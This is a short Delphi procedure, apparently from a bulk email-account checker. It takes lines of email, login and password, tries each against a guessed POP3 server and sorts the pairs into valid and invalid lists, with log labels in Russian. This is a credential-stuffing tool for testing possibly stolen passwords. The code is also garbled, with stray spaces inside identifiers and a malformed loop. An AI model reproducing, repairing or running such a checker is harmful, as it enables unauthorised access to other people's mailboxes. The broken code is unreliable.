procedure checkmail.Execute;
var
dest1,dest2,dest3, serv : string;
i : integer;
begin
for i:=0 to MainForm.AllEmailMemo.Lines.Count-1 do
Divide(MainForm.AllEmailMemo.Lines[i],Dest1,Dest2, Dest3);
serv:='pop.'+copy(dest3,pos('@',dest3)+1,10000);
MainForm.IdPOP31.Host:=serv;
MainForm.IdPOP31.Port:=110;
MainForm.IdPOP31.Username:=dest1;
MainForm.IdPOP31.Password:=dest2;
try
MainForm.IdPOP31.Connect;
MainForm.ValidMemo.Lines.Add(dest3+':'+dest2);
MainForm.LogMemo.Lines.Add(dest3+':'+dest2 + ' [успешно]');
except
MainForm.InvalidEmailMemo.Lines.Add(dest3+':'+dest 2);
MainForm.LogMemo.Lines.Add(dest3+':'+dest2 + ' [неуспешно]');
end;
MainForm.IdPOP31.Disconnect;
MainForm.ProgressBar1.Position:=MainForm.ProgressB ar1.Position+1;
inc(i);
end;